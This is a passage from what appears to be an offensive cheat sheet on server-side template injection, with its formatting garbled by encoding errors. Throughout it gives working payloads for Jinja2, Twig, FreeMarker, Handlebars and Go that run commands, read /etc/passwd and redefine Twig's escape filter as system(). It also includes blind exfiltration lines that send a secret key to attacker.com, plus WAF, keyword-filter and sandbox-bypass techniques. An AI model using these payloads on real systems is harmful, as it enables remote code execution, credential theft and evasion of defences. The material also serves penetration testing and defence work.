+ Arbitrary File Disclosure across all template components Grav CMS (PHP/Twig) Attack Type Payload Result setEscaper Abuse {β{ grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter') }} then {β{ ['id'] | escape('system', 'system') }} RCE by redefining escape filter to system() Root Cause Twig sandbox not enabled; unrestricted access to extension classes via template context Arbitrary callable registration 5. Payload Development Payload Construction Strategy PAYLOAD DEVELOPMENT PROCESS: βββ Environment Discovery β βββ Available classes/modules β βββ Security restrictions β βββ Execution context βββ Bypass Development β βββ Filter evasion β βββ Character restrictions β βββ Length limitations βββ Payload Optimization β βββ Minimize detection β βββ Maximize impact β βββ Ensure reliability βββ Multi-Stage Delivery βββ Store payload in persistent objects (Jinja2 config object) βββ Retrieve and execute across separate requests βββ Useful when injection point has size limits (email fields) Common Payload Patterns Goal Python/Jinja2 PHP/Twig Java/FreeMarker Node.js/Handlebars Go List Classes {β{''.__class__.__mro__[1].__subclasses__()}} {β{dump()}} <#list .data_model?keys as key>${key}</#list> {β{this}} {β{ . }} Execute Command {β{cycler.__init__.__globals__.os.popen('id').read()}} {β{_self.env.registerUndefinedFilterCallback("system")}} <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} Prototype pollution + AST injection N/A (gadget-dependent) Read File {β{get_flashed_messages.__globals__['current_app'].open_resource('../../../etc/passwd').read()}} {β{include('/etc/passwd')}} <#assign file=...ObjectConstructor("java.io.File","/etc/passwd")> N/A {β{ .File "/etc/passwd" }} (Echo) Size-Limited Payload Technique (Jinja2) MULTI-REQUEST PAYLOAD STAGING: 1. Store payload in config object via short injection: {β{config.update(a=request.args.get('a'))}} with URL parameter: ?a=<long RCE payload> 2. Verify storage: {β{config.a}} 3. Execute stored payload: {β{''.__class__.__mro__[1].__subclasses__()...__globals__['os'].popen(config.a).read()}} Use case: SSTI in email fields with RFC-imposed size limits 6. Advanced Exploitation Blind SSTI Exploitation Detection Method Payload Verification Time-based {β{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['time'].sleep(5)}} Response delay DNS Exfiltration {β{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('nslookup whoami.attacker.com').read()}} DNS logs HTTP Callback {β{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['urllib'].request.urlopen('http://attacker.com/'+config.SECRET_KEY)}} HTTP logs Sandbox Escape Techniques SANDBOX BYPASS METHODS: βββ Python/Jinja2 β βββ __builtins__ access via globals β βββ Class traversal to dangerous modules β βββ Import statement reconstruction β βββ Warning subclass β __builtins__['__import__'] chain βββ Java/FreeMarker β βββ ObjectConstructor for arbitrary class instantiation β βββ Static method calls via ?new() β βββ Reflection API abuse β βββ CamelContext.getInjector() + getClassResolver() (Apache Camel) β βββ ScriptEngineManager for Groovy/JavaScript eval βββ Java/Thymeleaf β βββ Expression preprocessing (__...__) double-evaluation β βββ org.apache.commons.lang3.reflect.MethodUtils (bypass Spring Boot 3.3.4 denylist) β βββ "".class.forName() to load arbitrary classes β βββ ReflectionUtils (older versions, now denylisted) βββ PHP/Twig β βββ Filter/function registration β βββ Object property access β βββ Include/eval function calls β βββ setEscaper() to redefine escape function as system() (Grav CMS) βββ Node.js/Handlebars βββ AST Injection via prototype pollution (bypass parser entirely) βββ Function constructor via this.constructor.constructor βββ Object.prototype.toString override + bind() for RCE βββ Built-in helper abuse (with, blockHelperMissing) Prototype Pollution to SSTI (Node.js) PROTOTYPE POLLUTION β SSTI CHAIN: βββ Handlebars β βββ Pollute Object.prototype.type = "Program" β βββ Pollute Object.prototype.body with AST containing RCE in NumberLiteral.value β βββ Template string bypasses parser (treated as pre-parsed AST) β βββ Compiler executes injected code directly βββ Pug β βββ Pollute Object.prototype.block with {type:"Text", val:"<payload>"} β βββ When ast.type is "While", walkAST follows ast.block (uses prototype) β βββ High reliability: any template referencing arguments triggers it βββ Detection βββ Handlebars: Object.prototype.pendingContent = "<test>" β appears in output βββ Pug: Object.prototype.block = {type:"Text", val:"<test>"} β appears in output 7. Bypass Techniques Filter Evasion Restriction Bypass Technique Example Keyword Blacklist String concatenation {β{'sy'+'stem'}} Character Filtering Unicode/Encoding {β{'\u0073\u0079\u0073\u0074\u0065\u006d'}} Length Limits Shortened payloads {β{lipsum.__globals__}} Quotes Blocked String methods {β{request.args.cmd|system}} Keyword Blacklist (FreeMarker) ?lower_abc encoding 6?lower_abc = βfβ, reconstruct class names char-by-char Attribute Name Filtering Hex-encoded attr() |attr('\x5f\x5fclass\x5f\x5f') instead of .__class__ Size Limit Config object staging Store payload in config.a via one request, execute in another Thymeleaf Static Class Block commons-lang3 MethodUtils Use "".class.forName(...) to load non-denylisted reflection class ServiceNow Mitigation Style tag wrapper + Jelly xmlns Embed <g:evaluate> inside <style> tags WAF Bypass Strategies WAF EVASION TECHNIQUES: βββ Encoding Variations β βββ URL encoding (%7B%7B) β βββ Unicode encoding (\u007B\u007B) β βββ HTML entity encoding ({{) βββ Structure Manipulation β βββ Whitespace insertion {β{ 7*7 }} β βββ Comment insertion {# comment #} β βββ Nested expressions {β{7*{β{7}}}} βββ Payload Fragmentation β βββ Multi-step injection β βββ Context-dependent payloads β βββ Request splitting βββ FreeMarker-Specific β βββ ?lower_abc / ?upper_abc character reconstruction β βββ 1.1?c[1] to generate dot character β βββ Numeric built-in abuse to construct arbitrary strings βββ Thymeleaf-Specific βββ Preprocessor double-evaluation via __${...}__ βββ @{} link expression parentheses to clear context βββ Server-specific: Jetty allows {} in URL path, Tomcat blocks Thymeleaf sandbox bypass via tab character (CVE-2026-40478) CVSS 9.1, found by pentester Dawid Bakaj. Thymeleafβs security sandbox β the thing that limits what SpEL expressions can do when they evaluate dynamic content β was bypassed using a tab character. Two defenses failed independently: a whitespace issue in the keyword check, and a narrow blocklist. The checks disagreed with the parser about what counts as a separator. Patched in 3.1.4.
...